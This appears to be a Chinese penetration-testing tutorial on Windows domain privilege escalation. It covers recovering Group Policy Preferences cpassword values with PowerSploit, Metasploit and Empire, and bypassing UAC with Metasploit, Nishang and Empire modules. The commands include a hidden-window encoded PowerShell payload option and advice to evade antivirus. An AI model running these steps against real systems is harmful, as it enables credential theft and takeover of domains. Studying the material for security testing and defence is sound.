0%

'组策略首选项提权与UAC绕过'

组策略首选项

由于数据量巨大,管理员可能会使用脚本批量部署域策略,修改为统一的密码,虽然强度有所提高,但是所有的本地管理员密码是相同的,会导致攻击者获取到一台,就相当于获取了整个域。
常见组策略首选项:
映射驱动器(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置(Printers.xml)
创建/更新服务(Services.xml)
计划任务(ScheduledTasks.xml)

具体可以看这个大佬写的,挺详细的
https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%88%A9%E7%94%A8SYSVOL%E8%BF%98%E5%8E%9F%E7%BB%84%E7%AD%96%E7%95%A5%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81/

补充:
1、使用powershell获取cpassword
https://github.com/PowerShellMafia/PowerSploit/blob/c7985c9bc31e92bb6243c177d7d1d7e68b6f1816/Exfiltration/Get-GPPPassword.ps1
.\Get-GPPPassword.ps1
如果成功,会返回地址,没成功则无返回

2、使用msf查找cpassword
使用post/windows/gather/credentials/gpp模块,设置好session进行攻击

3、使用Empire查找cpassword
usemodule privesc/gpp (Empire2.3)
usemodule powershell/privesc/gpp (Empire2.5)

绕过UAC提权

简单的说UAC就是用户账户控制,比如说你增加/修改账户,启动程序,将文件移动到Program Files或windows页面等操作时,就会触发UAC

UAC有四种设置要求:
1、始终通知
2、仅在程序试图更改我的计算机时通知我
3、仅在程序试图更改我的计算机时通知我(不降低桌面的亮度)
4、从不提示

利用如下:
1、bypassuac模块
使用msf的exploit/windows/local/bypassuac或exploit/windows/local/bypassuac_injection模块进行提权
执行之后会生成一个新的meterpreter,getuid显示SYSTEM权限即为提权成功

2、RunAs模块
使用msf的exploit/windows/local/ask模块
这时目标机会弹窗,如果目标点击了“是”,那么会返回一个高权限的meterpreter shell
PS:想要使用此模块提权,需要用户在管理员组中或知道管理员的密码,对UAC设置没有要求。并且它需要使用EXE::Custom选项创建一个可执行文件,所以需要自行进行免杀处理

3、Nishang中的Invoke-PsUACme模块
https://github.com/samratashok/nishang/blob/master/Escalation/Invoke-PsUACme.ps1
Import-Module .\nishang.psm1 -Verbose 导入模块
Get-Command -Module nishang 查看模块列表
Invoke-PsUACme -Verbose

执行Get-Help Invoke-PsUACme -Full获取帮助
PS > Invoke-PsUACme -Verbose //使用Sysprep方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Verbose //使用oobe方法和默认的Payload执行
PS > Invoke-PsUACme -method oobe -Payload “powershell -windowstyle hidden -e YourEncodedPayload” //使用-Payload参数可以自行指定要执行的Payload
除开以上而外,我们还可以使用-PayloadPath参数来指定Payload的路径,默认情况下Payload会在C:WindowsTempcmd.bat结束。还可以使用-CustomDLL64(64位)或-CustomDLL32(32位)参数来自定义一个DLL文件。

相关资料https://www.cnblogs.com/micr067/p/11746225.html

4、使用Empire中的bypassuac模块
usemodule powershell/privesc/bypassuac 使用模块
set Listener shuteer 设置监听器参数
execute 攻击
y 确定
back 返回
list 查看列表即可得到一个新的shell

使用powershell/privesc/bypassuac_wscript模块
原理:使用C:\windows\wscript.exe执行paylaod,绕过UAC,以管理员权限执行payload。
只适用于win7,暂无补丁,部分杀软会拦截运行
查看agents,Username一栏中,带星号的就是提权成功的